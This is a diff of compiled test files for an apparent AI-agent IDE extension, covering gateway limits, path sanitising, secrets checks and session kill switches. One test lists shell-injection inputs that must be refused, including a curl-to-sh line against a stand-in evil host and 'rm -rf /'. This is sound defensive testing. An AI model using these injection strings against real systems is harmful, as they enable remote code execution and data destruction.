@agenthippo-ai/agenthippo 0.2.3-dataplane → 1.110.11

package/out/test/gateway-client.test.js

@@ -328,6 +328,34 @@ suite('GatewayClient - events', () => {
         const receivedParams = receivedFrame.params;
         assert.strictEqual(receivedParams.message, 'Hello from WhatsApp');
     });
+    test('drops frames larger than the cap instead of parsing them', async () => {
+        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
+        const clientInfo = createClientInfo();
+        const connectPromise = client.connect(clientInfo);
+        await new Promise((resolve) => setTimeout(resolve, 10));
+        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
+        simulateHelloOk(connectFrame.id);
+        await connectPromise;
+        let receivedFrame;
+        let errorMessage = '';
+        client.on('request', (frame) => {
+            receivedFrame = frame;
+        });
+        client.on('error', (err) => {
+            errorMessage = err.message;
+        });
+        mockWs.simulateMessage({
+            type: 'req',
+            id: 'server-req-huge',
+            method: 'agent.run',
+            params: {
+                message: 'x'.repeat(client_js_1.MAX_GATEWAY_FRAME_BYTES + 1),
+                idempotencyKey: 'idem-huge',
+            },
+        });
+        assert.strictEqual(receivedFrame, undefined, 'Oversized frame must not be dispatched');
+        assert.ok(errorMessage.includes('exceeds'), `Expected a size error, got: ${errorMessage}`);
+    });
     test('emits event:name for Gateway events', async () => {
         const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
         const clientInfo = createClientInfo();

package/out/test/gateway-install-source.test.js

@@ -0,0 +1,111 @@
+"use strict";
+/*---------------------------------------------------------------------------------------------
+ *  Copyright (c) AgentHippo.ai. All rights reserved.
+ *
+ *  `agentide.anywhere.installSource` names a package that is installed globally and whose
+ *  postinstall runs as the user. The old guard was a character BLOCKLIST that did not include the
+ *  double quote, while the value was interpolated into `--source "${installSource}"`.
+ *--------------------------------------------------------------------------------------------*/
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+require("mocha");
+const assert = __importStar(require("assert"));
+// Imported from `gateway/installSource` rather than `gateway/lifecycle`: the rule was moved into
+// its own `vscode`-free module precisely so it can be exercised without the extension host.
+const installSource_1 = require("../gateway/installSource");
+function ok(source) {
+    return (0, installSource_1.validateAnywhereInstallSource)(source).ok;
+}
+suite('anywhere install source allow-list', () => {
+    test('accepts the shipped default, unchanged', () => {
+        // The pinned default carries a written rationale for refusing @latest; it must keep working.
+        assert.ok(ok('@agenthippo-ai/hippoclaw@2026.7.28'));
+    });
+    test('accepts the documented override forms', () => {
+        assert.ok(ok('@agenthippo-ai/hippoclaw@latest'));
+        assert.ok(ok('openclaw@latest'));
+        assert.ok(ok('openclaw'));
+        assert.ok(ok('openclaw@^1.2.3'));
+        assert.ok(ok('github:agenthippoai/hippoclaw'));
+        assert.ok(ok('github:agenthippoai/hippoclaw#main'));
+        assert.ok(ok('/Users/me/dev/hippoclaw'));
+        assert.ok(ok('./hippoclaw'));
+        assert.ok(ok('C:\\dev\\hippoclaw'));
+        assert.ok(ok('https://registry.example.com/hippoclaw-1.0.0.tgz'));
+    });
+    test('the double quote — the character the old blocklist missed — is refused', () => {
+        // `--source "a" ; curl evil | sh ; "` was the whole exploit.
+        assert.ok(!ok('a" ; curl https://evil.example/x | sh ; "'));
+        assert.ok(!ok('pkg"'));
+    });
+    test('classic shell metacharacters are refused', () => {
+        for (const bad of [
+            'pkg; rm -rf /',
+            'pkg && curl evil',
+            'pkg | sh',
+            'pkg `id`',
+            'pkg $(id)',
+            'pkg\nrm -rf /',
+            'pkg\rwhoami',
+            "pkg' ; id ; '",
+            'pkg>out',
+            'pkg<in',
+        ]) {
+            assert.ok(!ok(bad), `expected refusal for ${JSON.stringify(bad)}`);
+        }
+    });
+    test('an http (not https) tarball URL is refused', () => {
+        assert.ok(!ok('http://registry.example.com/x.tgz'));
+    });
+    test('an https URL that is not a tarball is refused', () => {
+        assert.ok(!ok('https://evil.example/install.sh'));
+    });
+    test('empty and whitespace-padded values are refused', () => {
+        assert.ok(!ok(''));
+        assert.ok(!ok('   '));
+        assert.ok(!ok(' openclaw'));
+        assert.ok(!ok('openclaw '));
+        assert.ok(!ok('openclaw --foo'));
+    });
+    test('every refusal names the accepted forms', () => {
+        for (const bad of ['pkg; id', '', 'openclaw ', 'https://evil.example/install.sh']) {
+            const result = (0, installSource_1.validateAnywhereInstallSource)(bad);
+            assert.strictEqual(result.ok, false, bad);
+            if (!result.ok) {
+                assert.ok(result.reason.includes('npm specifier'), `the message for ${JSON.stringify(bad)} must tell the user what IS accepted`);
+            }
+        }
+    });
+});

package/out/test/gateway-lifecycle.test.js

@@ -80,7 +80,7 @@ function resetHarnessState() {
     configValues.clear();
     configValues.set("hidden", false);
     configValues.set("enabled", false);
-    configValues.set("installSource", "github:agenthippoai/hippoclaw");
+    configValues.set("installSource", "@agenthippo-ai/hippoclaw@latest");
     configValues.set("port", 18789);
     configValues.set("autoStart", false);
     informationHandler = undefined;

package/out/test/gateway-outbound.test.js

@@ -63,6 +63,13 @@ suite('Gateway outbound paths', () => {
     test('safeGatewaySessionDirId sanitizes gateway session keys', () => {
         assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('agent:data-analyst:slack:channel:C999'), 'agent_data-analyst_slack_channel_C999');
     });
+    test('safeGatewaySessionDirId rejects dot-only keys (path traversal)', () => {
+        assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('.'), '_');
+        assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('..'), '__');
+        // Slash-separated traversal collapses via the char class, never into dot segments.
+        assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('../../etc'), '.._.._etc');
+        assert.strictEqual((0, outboundPaths_js_1.getGatewayOutboundFilePath)('/tmp/ws', (0, outboundPaths_js_1.safeGatewaySessionDirId)('..')), '/tmp/ws/.agent-hippo/sessions/__/gateway-outbound.json');
+    });
     test('resolveGatewayOutboundFilePath prefers chat session id', () => {
         const file = (0, outboundPaths_js_1.resolveGatewayOutboundFilePath)({
             workspaceRoot: '/tmp/ws',

package/out/test/gateway-secrets-preflight.test.js

@@ -0,0 +1,127 @@
+"use strict";
+/*---------------------------------------------------------------------------------------------
+ *  Copyright (c) AgentHippo.ai. All rights reserved.
+ *--------------------------------------------------------------------------------------------*/
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+const assert = __importStar(require("assert"));
+const secretsPreflight_js_1 = require("../gateway/secretsPreflight.js");
+function slackConfig(enabled = true) {
+    return {
+        channels: {
+            slack: {
+                ...(enabled === undefined ? {} : { enabled }),
+                botToken: { source: 'env', provider: 'default', id: 'SLACK_BOT_TOKEN' },
+                appToken: { source: 'env', provider: 'default', id: 'SLACK_APP_TOKEN' },
+            },
+            telegram: {
+                enabled: true,
+                botToken: '1234:literal-token',
+            },
+        },
+    };
+}
+suite('Gateway secrets preflight', () => {
+    test('reports enabled channel env refs missing from env', () => {
+        const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(), {});
+        assert.deepStrictEqual(missing, [
+            { channel: 'slack', envVars: ['SLACK_APP_TOKEN', 'SLACK_BOT_TOKEN'] },
+        ]);
+    });
+    test('resolved and whitespace-only env values', () => {
+        const env = { SLACK_BOT_TOKEN: 'xoxb-1', SLACK_APP_TOKEN: '   ' };
+        const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(), env);
+        assert.deepStrictEqual(missing, [{ channel: 'slack', envVars: ['SLACK_APP_TOKEN'] }]);
+    });
+    test('skips channels with enabled: false', () => {
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(false), {}), []);
+    });
+    test('channel without explicit enabled counts as enabled', () => {
+        const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(undefined), {});
+        assert.strictEqual(missing.length, 1);
+        assert.strictEqual(missing[0].channel, 'slack');
+    });
+    test('literal token strings and non-env sources are not refs', () => {
+        const config = {
+            channels: {
+                custom: {
+                    enabled: true,
+                    token: 'literal',
+                    other: { source: 'keychain', id: 'IGNORED_KEY' },
+                },
+            },
+        };
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(config, {}), []);
+    });
+    test('finds refs nested in arrays and deep objects', () => {
+        const config = {
+            channels: {
+                custom: {
+                    enabled: true,
+                    accounts: [{ auth: { token: { source: 'env', id: 'DEEP_TOKEN' } } }],
+                },
+            },
+        };
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(config, {}), [
+            { channel: 'custom', envVars: ['DEEP_TOKEN'] },
+        ]);
+    });
+    test('non-object configs and configs without channels yield nothing', () => {
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(undefined, {}), []);
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)('nope', {}), []);
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)({ agents: {} }, {}), []);
+    });
+    test('parseStrictJsonConfig rejects JSON5 comments', () => {
+        assert.strictEqual((0, secretsPreflight_js_1.parseStrictJsonConfig)('{ /* hi */ "a": 1 }'), undefined);
+        assert.deepStrictEqual((0, secretsPreflight_js_1.parseStrictJsonConfig)('{ "a": 1 }'), { a: 1 });
+    });
+    test('disableChannelsInConfigText disables only the named channels', () => {
+        const content = JSON.stringify(slackConfig(), null, 2);
+        const updated = (0, secretsPreflight_js_1.disableChannelsInConfigText)(content, ['slack']);
+        assert.ok(updated);
+        const parsed = JSON.parse(updated);
+        assert.strictEqual(parsed.channels.slack.enabled, false);
+        assert.strictEqual(parsed.channels.telegram.enabled, true);
+        // Secret refs stay in place so re-enabling is a one-flag change.
+        assert.deepStrictEqual(parsed.channels.slack.botToken, {
+            source: 'env',
+            provider: 'default',
+            id: 'SLACK_BOT_TOKEN',
+        });
+    });
+    test('disableChannelsInConfigText refuses non-strict-JSON content', () => {
+        assert.strictEqual((0, secretsPreflight_js_1.disableChannelsInConfigText)('{ /* comment */ "channels": {} }', ['slack']), undefined);
+    });
+});

package/out/test/gateway-session-routing.test.js

@@ -38,6 +38,24 @@ var __importStar = (this && this.__importStar) || (function () {
 Object.defineProperty(exports, "__esModule", { value: true });
 const assert = __importStar(require("assert"));
 const bridge_js_1 = require("../gateway/bridge.js");
+suite('Gateway agent.run validation', () => {
+    test('accepts a well-formed run and ignores absent fields', () => {
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ message: 'hi' }), undefined);
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({
+            message: 'hi',
+            sessionKey: 'agent:data-analyst:slack:dm:u01',
+            senderId: 'U01',
+            threadId: undefined,
+        }), undefined);
+    });
+    test('names the first identifier that is over-long or not a string', () => {
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ sessionKey: 'x'.repeat(bridge_js_1.MAX_GATEWAY_ID_CHARS + 1) }), 'sessionKey');
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ channel: { evil: true } }), 'channel');
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ senderId: 12345 }), 'senderId');
+        // At the limit exactly is still acceptable.
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ target: 'x'.repeat(bridge_js_1.MAX_GATEWAY_ID_CHARS) }), undefined);
+    });
+});
 suite('Gateway session routing', () => {
     test('looksLikeGatewayChannelRouteKey detects Slack channel keys', () => {
         assert.strictEqual((0, bridge_js_1.looksLikeGatewayChannelRouteKey)('agent:ide-ws-data-analyst:slack:channel:c0b1smmjcq0'), true);

package/out/test/governor-hardening.test.js

@@ -0,0 +1,222 @@
+"use strict";
+/*---------------------------------------------------------------------------------------------
+ *  Governor hardening: kill that means kill (or says it does not), budgets that survive a kill,
+ *  session stops that survive session_id rotation, and one constant for the poll interval.
+ *--------------------------------------------------------------------------------------------*/
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+require("mocha");
+const assert = __importStar(require("assert"));
+const governor_1 = require("../pack/governor");
+const lease_1 = require("../pack/lease");
+function fakeSandboxes(initial = [], supportsInFlightTermination = true) {
+    const state = {
+        live: [...initial],
+        destroyed: [],
+        revoked: [],
+        supportsInFlightTermination,
+        // Session scope: one sandbox per session, so its key IS the session key.
+        sandboxes() {
+            return state.live.map((sessionKey) => ({
+                sandboxKey: sessionKey, sandboxId: `sandbox-${sessionKey}`, sessionKeys: [sessionKey],
+            }));
+        },
+        async destroySession(sessionKey) {
+            state.destroyed.push(sessionKey);
+            state.live = state.live.filter((s) => s !== sessionKey);
+        },
+        async revokeRoute(sessionKey, what) {
+            state.revoked.push({ sessionKey, what });
+        },
+    };
+    return state;
+}
+const liveLease = (over = {}) => ({
+    pack: 'joker1',
+    enabled: true,
+    expiresAt: Math.floor(Date.now() / 1000) + 3600,
+    ...over,
+});
+suite('kill never silently degrades to drain', () => {
+    test('without a sandbox driver, kill is REPORTED as the drain it actually is', async () => {
+        const lines = [];
+        const events = [];
+        const sandboxes = fakeSandboxes([], false);
+        const gov = (0, governor_1.createGovernor)({
+            caps: {}, sandboxes, pack: 'joker1',
+            getLease: async () => liveLease({ deny: [{ scope: 'session', match: 's1', mode: 'kill' }] }),
+            logger: { info: (m) => lines.push(m), warn: (m) => lines.push(m) },
+            audit: (event, fields) => events.push({ event, fields }),
+        });
+        await gov.refresh();
+        assert.ok(lines.some((l) => /DEGRADED TO DRAIN/.test(l)), 'the console must not claim kill when it means drain');
+        assert.ok(events.some((e) => e.event === 'deny_kill_degraded' && e.fields.effectiveMode === 'drain'));
+        // The substance still holds: the NEXT turn is refused.
+        assert.strictEqual((await gov.admitTurn('s1')).allowed, false);
+    });
+    test('the warning is once per rule, not once per poll', async () => {
+        const lines = [];
+        const sandboxes = fakeSandboxes([], false);
+        const gov = (0, governor_1.createGovernor)({
+            caps: {}, sandboxes, pack: 'joker1',
+            getLease: async () => liveLease({ deny: [{ scope: 'session', match: 's1', mode: 'kill' }] }),
+            logger: { info: (m) => lines.push(m), warn: (m) => lines.push(m) },
+        });
+        await gov.refresh();
+        await gov.refresh();
+        await gov.refresh();
+        assert.strictEqual(lines.filter((l) => /DEGRADED TO DRAIN/.test(l)).length, 1);
+    });
+    test('with a driver, kill still ends running work', async () => {
+        const sandboxes = fakeSandboxes(['s1'], true);
+        const gov = (0, governor_1.createGovernor)({
+            caps: {}, sandboxes, pack: 'joker1',
+            getLease: async () => liveLease({ deny: [{ scope: 'session', match: 's1', mode: 'kill' }] }),
+        });
+        await gov.refresh();
+        assert.deepStrictEqual(sandboxes.destroyed, ['s1']);
+    });
+    test('the kill switch itself says so when it can only refuse new work', async () => {
+        const lines = [];
+        const gov = (0, governor_1.createGovernor)({
+            caps: {}, sandboxes: fakeSandboxes([], false),
+            logger: { info: (m) => lines.push(m), warn: (m) => lines.push(m) },
+        });
+        await gov.killAll('drill');
+        assert.ok(lines.some((l) => /nothing running can be stopped/.test(l)));
+    });
+    test('effectiveDenyMode is the one place that decides', () => {
+        assert.strictEqual((0, governor_1.effectiveDenyMode)('kill', true), 'kill');
+        assert.strictEqual((0, governor_1.effectiveDenyMode)('kill', false), 'drain');
+        assert.strictEqual((0, governor_1.effectiveDenyMode)('drain', false), 'drain');
+        assert.strictEqual((0, governor_1.effectiveDenyMode)(undefined, false), undefined);
+    });
+});
+suite('a kill does not hand back budgets', () => {
+    /**
+     * `killAll` called `meter.forget` on every session it killed, so a kill-then-restore (a billing
+     * hold lifted, a drill, an operator toggling the switch) gave every session a brand-new turn and
+     * duration budget. The cheapest way past a cap was to trip the kill switch. The cap-breach path
+     * deliberately did NOT do this, and explains why.
+     */
+    test('a session over its turn cap is still over it after a kill and a restore', async () => {
+        const sandboxes = fakeSandboxes(['s1']);
+        let lease = liveLease({ caps: { maxTurnsPerSession: 2 } });
+        const gov = (0, governor_1.createGovernor)({ caps: {}, sandboxes, getLease: async () => lease });
+        await gov.refresh();
+        assert.ok((await gov.admitTurn('s1')).allowed);
+        gov.recordTurn('s1');
+        assert.ok((await gov.admitTurn('s1')).allowed);
+        gov.recordTurn('s1');
+        lease = liveLease({ enabled: false, caps: { maxTurnsPerSession: 2 } });
+        await gov.refresh();
+        lease = liveLease({ caps: { maxTurnsPerSession: 2 } });
+        await gov.refresh();
+        const after = await gov.admitTurn('s1');
+        assert.strictEqual(after.allowed, false, 'the kill must not renew the budget');
+        assert.match(after.reason ?? '', /turn cap reached/);
+    });
+    test('a deny(kill) does not renew the budget either', async () => {
+        const sandboxes = fakeSandboxes(['s1']);
+        let lease = liveLease({ caps: { maxTurnsPerSession: 1 } });
+        const gov = (0, governor_1.createGovernor)({ caps: {}, sandboxes, pack: 'joker1', getLease: async () => lease });
+        await gov.refresh();
+        assert.ok((await gov.admitTurn('s1')).allowed);
+        gov.recordTurn('s1');
+        lease = liveLease({ caps: { maxTurnsPerSession: 1 }, deny: [{ scope: 'session', match: 's1', mode: 'kill' }] });
+        await gov.refresh();
+        lease = liveLease({ caps: { maxTurnsPerSession: 1 } });
+        await gov.refresh();
+        const after = await gov.admitTurn('s1');
+        assert.strictEqual(after.allowed, false);
+        assert.match(after.reason ?? '', /turn cap reached/);
+    });
+});
+suite('session-scoped stops and the client-supplied session_id', () => {
+    test('a session rule bound to a user does not match another account replaying the id', () => {
+        const lease = liveLease({ deny: [{ scope: 'session', match: 'ticket-42', mode: 'kill', user: 'alice@x.com' }] });
+        assert.ok((0, lease_1.denyVerdict)(lease, { sessionKey: 'uH--ticket-42', pack: 'joker1', userId: 'alice@x.com' }).denied);
+        assert.ok(!(0, lease_1.denyVerdict)(lease, { sessionKey: 'uH--ticket-42', pack: 'joker1', userId: 'mallory@x.com' }).denied);
+    });
+    test('rotating session_id does not escape a session stop once the user is known', async () => {
+        const sandboxes = fakeSandboxes();
+        let lease = liveLease();
+        const gov = (0, governor_1.createGovernor)({ caps: {}, sandboxes, pack: 'joker1', getLease: async () => lease });
+        // The turn path teaches the governor which user 'ticket-42' belongs to.
+        await gov.admitTurn('uH--ticket-42', 'alice@x.com');
+        lease = liveLease({ deny: [{ scope: 'session', match: 'ticket-42', mode: 'kill', reason: 'runaway' }] });
+        await gov.refresh();
+        assert.strictEqual((await gov.admitTurn('uH--ticket-42', 'alice@x.com')).allowed, false, 'the named session');
+        const rotated = await gov.admitTurn('uH--brand-new-id', 'alice@x.com');
+        assert.strictEqual(rotated.allowed, false, 'a fresh session_id from the same user must not escape');
+        assert.strictEqual((await gov.admitTurn('uH--someone-else', 'bob@x.com')).allowed, true, 'and nobody else is caught');
+    });
+    test('followUser: false keeps a genuinely id-only stop', async () => {
+        const sandboxes = fakeSandboxes();
+        let lease = liveLease();
+        const gov = (0, governor_1.createGovernor)({ caps: {}, sandboxes, pack: 'joker1', getLease: async () => lease });
+        await gov.admitTurn('uH--ticket-42', 'alice@x.com');
+        lease = liveLease({ deny: [{ scope: 'session', match: 'ticket-42', mode: 'drain', followUser: false }] });
+        await gov.refresh();
+        assert.strictEqual((await gov.admitTurn('uH--ticket-42', 'alice@x.com')).allowed, false);
+        assert.strictEqual((await gov.admitTurn('uH--another', 'alice@x.com')).allowed, true);
+    });
+    test('with no verified identity the stop is id-only — the documented limitation', () => {
+        const lease = liveLease({ deny: [{ scope: 'session', match: 'anon-1', mode: 'kill' }] });
+        assert.ok((0, lease_1.denyVerdict)(lease, { sessionKey: 'anon-1', pack: 'joker1' }).denied);
+        assert.ok(!(0, lease_1.denyVerdict)(lease, { sessionKey: 'anon-2', pack: 'joker1' }).denied);
+    });
+    test('resolveFollowedUsers ignores spent rules and respects explicit user binding', () => {
+        const past = Math.floor(Date.now() / 1000) - 1;
+        const sessions = new Map([['uH--t42', 'alice@x.com']]);
+        assert.strictEqual((0, lease_1.resolveFollowedUsers)(liveLease({ deny: [{ scope: 'session', match: 't42', mode: 'kill', until: past }] }), sessions).size, 0);
+        assert.strictEqual((0, lease_1.resolveFollowedUsers)(liveLease({ deny: [{ scope: 'session', match: 't42', mode: 'kill', user: 'bob@x.com' }] }), sessions).size, 0, 'a rule bound to bob must not widen itself to alice');
+    });
+});
+suite('poll interval and the advertised kill latency', () => {
+    test('one constant drives poll and cache — they can no longer disagree', () => {
+        assert.strictEqual((0, lease_1.resolveLeasePollSeconds)(undefined), lease_1.DEFAULT_LEASE_POLL_SECONDS);
+        assert.strictEqual((0, lease_1.leaseCacheSecondsFor)((0, lease_1.resolveLeasePollSeconds)(undefined)), lease_1.DEFAULT_LEASE_POLL_SECONDS);
+    });
+    test('the printed kill latency is the TRUE worst case (poll + cache), not the poll alone', () => {
+        assert.strictEqual((0, lease_1.effectiveKillLatencySeconds)(30), 60);
+        assert.strictEqual((0, lease_1.effectiveKillLatencySeconds)(10), 20);
+    });
+    test('a nonsense or tiny poll is floored, not honoured', () => {
+        assert.strictEqual((0, lease_1.resolveLeasePollSeconds)(0), 5);
+        assert.strictEqual((0, lease_1.resolveLeasePollSeconds)(-1), 5);
+        assert.strictEqual((0, lease_1.resolveLeasePollSeconds)(NaN), lease_1.DEFAULT_LEASE_POLL_SECONDS);
+    });
+});

package/out/test/headless-sync.test.js

@@ -51,6 +51,8 @@ const os = __importStar(require("os"));
 const sync_1 = require("../headless/sync");
 const shared_1 = require("../shared");
 const paths_1 = require("../agentpack/paths");
+const branding_1 = require("../branding");
+const utils_1 = require("../utils");
 // -------------------------------------------------------------------------
 // Test Helpers
 // -------------------------------------------------------------------------
@@ -175,6 +177,26 @@ suite('Headless Sync - syncPackToWorkspace', () => {
         assert.ok(content.includes('.claude'), '.gitignore should include .claude');
         assert.ok(content.includes('.codex'), '.gitignore should include .codex');
     });
+    test('creates .gitignore with custom engine workspace dirs', async () => {
+        const cursorEngineDir = path.join(workspaceRoot, branding_1.AGENTIDE_DIR_NAME, 'engines', 'cursor');
+        await fs_1.promises.mkdir(cursorEngineDir, { recursive: true });
+        await fs_1.promises.writeFile(path.join(cursorEngineDir, 'engine.manifest.json'), JSON.stringify({
+            version: 2,
+            id: 'cursor',
+            entry: './engine.mjs',
+            workspaceSync: {
+                enabled: true,
+                dir: '.cursor',
+                rulesFile: 'CURSOR.md',
+                includeSkills: true,
+                includeRules: true,
+            },
+            promptInjection: { mode: 'none' },
+        }));
+        await (0, utils_1.ensureWorkspaceGitAndGitignore)(workspaceRoot, logger);
+        const content = await fs_1.promises.readFile(path.join(workspaceRoot, '.gitignore'), 'utf8');
+        assert.ok(content.includes('.cursor'), '.gitignore should include custom engine workspace dir');
+    });
     test('handles empty pack (no AGENTS.md)', async () => {
         // Pack with no files should not throw
         await (0, sync_1.syncPackToWorkspace)(workspaceRoot, packPath, 'test-pack', 'claude', logger);